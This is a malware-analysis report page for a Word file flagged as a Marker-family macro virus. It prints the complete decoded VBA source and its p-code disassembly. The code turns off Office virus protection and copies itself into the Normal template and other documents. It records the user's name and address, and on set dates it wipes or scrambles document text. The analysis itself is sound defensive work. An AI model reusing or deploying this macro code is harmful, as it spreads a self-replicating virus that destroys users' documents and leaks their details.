MALICIOUS
140
Risk Score
Heuristics 3
-
ClamAV: Doc.Trojan.Marker-38 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-38
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10379 bytes |
SHA-256: dc3969f839eb2d869582c2a149ad0ad8e61b3c42c8678f98abd9a80bab08e362 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Dim SavDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Options.VirusProtection = False
Const maker = "BLowMaster"
Options.SaveNormalPrompt = False
Const Oldmaker = "-> this is another maker!"
Dim ad, nt As Object
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(maker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(maker, 1, 1, 10000, 10000)
If (Day(Now()) = 15) And (Month(Now()) Mod 2 = 0) Then
ActiveDocument.Select
Selection.Cut
ActiveDocument.Save
ElseIf (Day(Now()) = 13) Then
ActiveDocument.Select
Selection.Font.Name = "Webdings"
ActiveDocument.Save
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For I = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next I
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SavDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SavDocument = True Then ActiveDocument.Save
End If
End If
Options.VirusProtection = False
Options.SaveNormalPrompt = True
End Sub
' 10:00:35 AM - Wednesday, 22 Mar 2000
' Ditry PC
'
' Processing file: /opt/analyzer/scan_staging/d4f2f759d03642c880776bfbde95ff84.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5097 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' Dim
' VarDefn SavDocument
' VarDefn SaveNormalTemplate
' VarDefn DocumentInfected
' VarDefn NormalTemplateInfected (As Boolean)
' Line #3:
' Line #4:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #5:
' Dim (Const)
' LitStr 0x000A "BLowMaster"
' VarDefn maker
' Line #6:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #7:
' Dim (Const)
' LitStr 0x0019 "-> this is another maker!"
' VarDefn Oldmaker
' Line #8:
' Dim
' VarDefn ad
' VarDefn nt (As Object)
' Line #9:
' Line #10:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set ad
' Line #11:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set nt
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Ld maker
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x2710
' LitDI2 0x2710
' Ld ad
' MemLd CodeModule
' ArgsMemLd Find 0x0005
' St DocumentInfected
' Line #16:
' Ld maker
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x2710
' LitDI2 0x2710
' Ld nt
' MemLd CodeModule
' ArgsMemLd Find 0x0005
' St NormalTemplateInfected
' Line #17:
' Line #18:
' ArgsLd Now 0x0000
' ArgsLd Day 0x0001
' LitDI2 0x000F
' Eq
' Paren
' ArgsLd Now 0x0000
' ArgsLd Month 0x0001
' LitDI2 0x0002
' Mod
' LitDI2 0x0000
' Eq
' Paren
' And
' IfBlock
' Line #19:
' Ld ActiveDocument
' ArgsMemCall Set 0x0000
' Line #20:
' Ld Selection
' ArgsMemCall Cut 0x0000
' Line #21:
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' Line #22:
' ArgsLd Now 0x0000
' ArgsLd Day 0x0001
' LitDI2 0x000D
' Eq
' Paren
' ElseIfBlock
' Line #23:
' Ld ActiveDocument
' ArgsMemCall Set 0x0000
' Line #24:
' LitStr 0x0008 "Webdings"
' Ld Selection
' MemLd Font
' MemSt New
' Line #25:
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' Line #26:
' EndIfBlock
' Line #27:
' Line #28:
' QuoteRem 0x0004 0x004D "Make sure that some conditions are true before we continue infecting anything"
' Line #29:
' LineCont 0x0008 0B 00 08 00 12 00 08 00
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' Xor
' Paren
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatDocument
' Eq
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatTemplate
' Eq
' Or
' Paren
' And
' IfBlock
' Line #30:
' Line #31:
' Line #32:
' QuoteRem 0x0008 0x0019 "Infect the NormalTemplate"
' Line #33:
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' IfBlock
' Line #34:
' Line #35:
' Ld NormalTemplate
' MemLd Saved
' St SaveNormalTemplate
' Line #36:
' Line #37:
' LitDI2 0x0001
' Ld ad
' MemLd CodeModule
' MemLd CountOfLines
' Ld ad
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St OurCode
' Line #38:
' Line #39:
' QuoteRem 0x000C 0x0031 "Write a log file of this NormalTemplate infection"
' Line #40:
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' Ld Application
' MemLd UserAddress
' FnLen
' For
' Line #41:
' Ld Application
' MemLd UserAddress
' Ld I
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Ne
' IfBlock
' Line #42:
' Ld Application
' MemLd UserAddress
' Ld I
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Ne
' IfBlock
' Line #43:
' Ld UserAddress
' Ld Application
' MemLd UserAddress
' Ld I
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' Concat
' St UserAddress
' Line #44:
' EndIfBlock
' Line #45:
' ElseBlock
' Line #46:
' Ld UserAddress
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' St UserAddress
' Line #47:
' EndIfBlock
' Line #48:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #49:
' Line #50:
' LineCont 0x0010 09 00 16 00 12 00 16 00 1E 00 16 00 29 00 16 00
' Ld OurCode
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld Time
' LitStr 0x0010 "hh:mm:ss AMPM - "
' ArgsLd Format$ 0x0002
' Concat
' Ld Date
' LitStr 0x0010 "dddd, d mmm yyyy"
' ArgsLd Format$ 0x0002
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld Application
' MemLd UserName
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld UserAddress
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St OurCode
' Line #51:
' Line #52:
' LitDI2 0x0001
' Ld nt
' MemLd CodeModule
' MemLd CountOfLines
' Ld nt
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #53:
' Ld OurCode
' Ld nt
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #54:
' Line #55:
' Ld SaveNormalTemplate
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' EndIf
' Line #56:
' Line #57:
' EndIfBlock
' Line #58:
' Line #59:
' Line #60:
' QuoteRem 0x0008 0x0019 "Infect the ActiveDocument"
' Line #61:
' LineCont 0x0008 05 00 0C 00 13 00 0D 00
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' Ld ActiveDocument
' MemLd FullName
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 ":"
' Eq
' Ld ActiveDocument
' MemLd Saved
' LitVarSpecial (False)
' Eq
' Or
' Paren
' And
' IfBlock
' Line #62:
' Line #63:
' Ld ActiveDocument
' MemLd Saved
' St SavDocument
' Line #64:
' Line #65:
' LitDI2 0x0001
' Ld nt
' MemLd CodeModule
' MemLd CountOfLines
' Ld nt
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St OurCode
' Line #66:
' Line #67:
' LitDI2 0x0001
' Ld ad
' MemLd CodeModule
' MemLd CountOfLines
' Ld ad
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #68:
' Ld OurCode
' Ld ad
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #69:
' Line #70:
' Ld SavDocument
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' EndIf
' Line #71:
' Line #72:
' EndIfBlock
' Line #73:
' Line #74:
' EndIfBlock
' Line #75:
' Line #76:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #77:
' LitVarSpecial (True)
' Ld Options
' MemSt SaveNormalPrompt
' Line #78:
' Line #79:
' Line #80:
' EndSub
' Line #81:
' Line #82:
' QuoteRem 0x0000 0x0025 " 10:00:35 AM - Wednesday, 22 Mar 2000"
' Line #83:
' QuoteRem 0x0000 0x0009 " Ditry PC"
' Line #84:
' QuoteRem 0x0000 0x0000 ""
' Line #85:
' Line #86:
' Line #87:
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.